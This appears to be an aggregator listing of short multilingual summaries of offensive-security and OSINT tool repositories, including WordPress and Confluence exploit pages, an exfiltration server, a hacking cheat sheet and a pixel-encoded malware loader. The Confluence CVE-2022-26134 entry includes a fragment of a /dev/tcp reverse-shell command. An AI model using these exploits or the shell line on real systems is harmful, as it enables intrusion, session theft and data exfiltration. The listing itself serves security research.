pentest-a2p2v-core

README Automated Attack Path Planning and Validation（A2P2V）は、特定の攻撃者の目標に対するランク付けされた攻撃シーケンスのセットを決定する機能を提供する、計画およびサイバー攻撃ツールです。このツールの目的は、非セキュリティ専門家でも最小限の入力から明確で実行可能な知見を生成できるようプロセスを簡素化し、可能な限り自動化を活用して解釈しやすいレポートを出力することです。...

CVE-2026-0594-ListSiteContributors-Plugin-Exploit

CVE-2026-0594-ListSiteContributors-Plugin-Exploit 🛡️ 描述 CVE-2026-0594 是 List Site Contributors WordPress 插件中发现的一个严重反射型跨站脚本 XSS 漏洞。此利用程序通过 WordPress REST API wp-json 自动发现易受攻击的端点，并通过 alpha 参数执行特制载荷。 通过利用此漏洞，攻击者可以： 绕过身份验证 ：通过 HMAC 伪造和会话 Cookie 窃取。 窃取敏感数据 （PII）和系统配置。 在受害者浏览器上下文中执行任意 JavaScript 。 🚀 功能...

baserunner

Baserunner Firebaseデータストアを探索・悪用するためのツールです。Firebaseの仕組みとこのツールを開発した理由については、こちらのブログ記事をご覧ください。 セットアップ 1. git clone https://github.com/iosiro/baserunner.git 2. cd baserunner 3. npm install 4. npm run build 5. npm start 6. ブラウザで http://localhost:47710 にアクセスします。 使い方 Baserunnerのインターフェースは次のようになります。...

tinfoleak

tinfoleak The most complete open-source tool for Twitter intelligence analysis Introduction tinfoleak is an open-source tool within the OSINT Open Source Intelligence and SOCMINT Social Media Intelligence disciplines, that automates the extraction of information on Twitter and facilitates...

tinfoleak

tinfoleak Twitterインテリジェンス分析のための最も完全なオープンソースツール はじめに tinfoleak は、OSINT（オープンソースインテリジェンス）およびSOCMINT（ソーシャルメディアインテリジェンス）の分野に属するオープンソースツールで、Twitterからの情報抽出を自動化し、その後のインテリジェンス生成のための分析を容易にします。ユーザー識別子、地理座標、またはキーワードを指定すると、tinfoleak がTwitterタイムラインを分析し、大量のデータを抽出して、インテリジェンスアナリストにとって有益で構造化された情報を表示します。 tinfoleak...

awesome-privacy

プライバシー重視のリソース集 プライバシーを尊重する無料・オープンソースのサービスと、プライベートなサービスに代わる代替手段のリストです。 概要 | 貢献 | 引用 | ディスカッション !IMPORTANT 匿名性、プライバシー、セキュリティはしばしば同じ意味で使われますが、実際には異なる概念です。これらの違いを理解することが重要です。以下のセクションで詳しく読む。 このリストの主な焦点は、プライバシーを優先する代替手段を提供することです。これらの代替手段は、あなたのデータを管理し、収集・販売しません。 目次 2FA Analytics Android Android アプリストア...

CVE-2021-43408

CVE-2021-43408: WordpressプラグインDuplicate Postバージョン1.1.9 - SQLインジェクション I. 概要 1. WordPressとは WordPressは、オープンソースのCMS（コンテンツ管理システム）ソフトウェアです。HTMLコーディング言語を使用する代わりに、WordPressはPHPプログラミング言語で記述され、MySQLデータベースプラットフォームを使用しています。WordPressはプログラマーのMatt Mullenweg氏とMike...

fatcat

fatcat このツールはFATファイルシステムを操作するために設計されており、探索、抽出、修復、復旧、フォレンジックを行うことができます。現在、FAT12、FAT16、FAT32をサポートしています。 チュートリアルと例 ビルドとインストール fatcatは次のようにビルドできます： root@kitploit: mkdir build cd build cmake .. make そしてインストールします： root@kitploit: make install 探索 fatcatの使用 Fatcatはイメージを引数として受け取ります： root@kitploit: fatcat...

CVE-2022-29337

CVE-2022-29337 C-DATA FD702XW-X-R430 v2.1.13X001 には、formlanipv6 の vacmd パラメータを介したコマンドインジェクションの脆弱性が存在することが判明しました。この脆弱性により、攻撃者は細工されたHTTPリクエストを介して任意のコマンドを実行できます。...

PixelCode-Attack

恶意像素码传递技术 恶意像素码是一个安全研究项目，展示了一种将可执行文件编码为像素数据并存储在图像或视频中的隐蔽技术。一个轻量级加载器检索媒体文件，重建原始二进制文件，并在内存中执行。该项目仅用于教育和研究目的，旨在突出非常规数据传递和混淆方法。 这项研究曾被《Cyber Security News》报道：https://cybersecuritynews.com/pixelcode-attack/ !CAUTION 重要提示 ：本项目仅限用于教育、研究和防御性安全目的。未经授权使用这些技术可能违反法律并导致严重的法律后果。 什么是像素码？...

Twitter-Info

Información de Twitter Un simple script de Python para obtener información de la cuenta de Twitter como: Nombre Siguiendo Seguidores Me gusta Fecha de la cuenta Foto de perfil solo con el nombre de usuario o el enlace del perfil. Uso root@kitploit: python3 twitterinfo.py or Ejemplo Entrada...

CVE-2026-92588

n8n is a workflow automation platform. In versions before 1.123.76 , 2.37.7 , and 2.38.2 , the source control push endpoint derived the set of files to push from client-supplied file paths and status rather than from server-side status computed for the requesting user. An authenticated project-sc...

presidio

Presidio - 数据保护和去标识化 SDK 📣 Presidio 即将迁往新家！点击此处了解更多 📣 上下文感知、可插拔且可定制的文本和图像PII去标识化服务。 什么是 Presidio Presidio（源自拉丁语 praesidium，意为“保护、驻军”）有助于确保敏感数据得到妥善管理和治理。它提供快速的 识别 和 匿名化 模块，用于处理文本中的私人实体，例如信用卡号、姓名、位置、社会安全号码、比特币钱包、美国电话号码、财务数据等。 📘 完整文档 📣 项目迁移更新 ❓ 常见问题解答 💭 演示 🛫 示例 目标...

agent

Binary Refinery 技能 此仓库存储了一个用于 Binary Refinery 的 Claude 技能。 它可以为您的恶意软件分析智能体提供一系列用于数据提取和转换的有用工具。 !CAUTION 请确保您使用的 refinery 版本为 0.10.5 或更高版本 。 该技能依赖于此处引入的对 binref 实用程序的更改。 !NOTE 欢迎提交错误报告和建议——请开启 issue 或 pull request！ 安装 该技能可通过在 Claude 中执行以下命令来安装： root@kitploit: /plugin marketplace add binref/agent...

CVE-2022-26134

CVE-2022-26134 リモート攻撃者は認証なしでOGNL式を注入し、Confluence ServerまたはData Center上で任意のコードを実行できます。POCを修正し、getshellを容易にします。一般的なポート:8090 影響を受けるバージョン Confluence Server and Data Center = 1.3.0 7.14.0 & /dev/tcp/vps ip/vps port 0&1...

Security-Datasets

セキュリティデータセット Security Datasets プロジェクトは、オープンソースの取り組みであり、さまざまなプラットフォームからの悪意のあるデータセットと良性のデータセットを情報セキュリティコミュニティに提供し、データ分析と脅威調査を促進します。 ドキュメント https://securitydatasets.com 目標 データ分析の開発を促進するためのオープンでポータブルなデータセットを提供する。 攻撃手法のシミュレーションを容易にし、促進する。 世界中のセキュリティアナリストが実際のデータでスキルをテストできるようにする。...

thc-tips-tricks-hacks-cheat-sheet

THC 最爱的技巧、窍门与黑客手法（速查表） https://thc.org/tips 这是我们最喜欢的一些技巧的合集。其中许多技巧并非我们原创，我们只是收集整理。 我们按原样展示这些技巧，不解释其原理。你需要了解 Linux 才能理解它们的工作方式和原因。 有好技巧？加入我们 https://thc.org/ops 1. Bash 1. 设置 Hack Shell 2. 隐藏你的命令 3. 隐藏你的命令行选项 4. 隐藏网络连接 5. 以用户身份隐藏进程 6. 以 root 身份隐藏进程 7. 隐藏脚本 8. 对 cat 隐藏 9. 并行执行并分别记录日志 2. SSH 1. 几乎不可...

RedDrop

RedDrop Exfil サーバー 関連するMaverisLabsブログ記事はこちら！ RedDrop Exfil サーバーは、ペネトレーションテスター、レッドチーム、セキュリティ専門家向けのPython Flask Webサーバーで、以下の機能を備えています： ファイルアップロード 自動ペイロード処理 自動アーカイブ抽出 JSONロギング 設定可能なオプション 認証ルール このソフトウェアは、さまざまなシナリオでWebリクエストデータをキャプチャするための初歩的なC2エンドポイントとして使用することを意図しています。いくつかの例としては： ブラインドコマンドインジェクション脆弱性...

CVE-2025-25615

CVE-2025-25615 Unifiedtransform v2.0 は、不適切なアクセス制御の脆弱性があり、教師がすべてのクラスセクションの出席リストを閲覧できる状態にあります。 開発元: Unifiedtransform PoC ステップ 1: 教師としてアプリケーションにログインします。 ステップ 2: 次のエンドポイントにアクセスします: /attendances/view?classid=1&sectionid=2&courseid=1 classid および sectionid パラメータを変更すると、異なるセクションにアクセスできます。 ステップ 3:...

egression

説明 EGRESSION は、任意のネットワークから機密データをアップロードすることがどれほど簡単かを即座に把握できるツールです。 このツールは、以下の内容の機密ファイルをローカルにプレーンテキストで保存することから始まります。このファイルは、さまざまな手法を使用してアウトバウンド接続を試み、このファイルをアップロードすることで、ネットワーク上のイグレス/DLP コントロールをテストするために使用されます。 //米国社会保障番号 567-24-4901 //クレジットカード番号 4111111111111111 5105105105105100 4222222222222 //生年月日...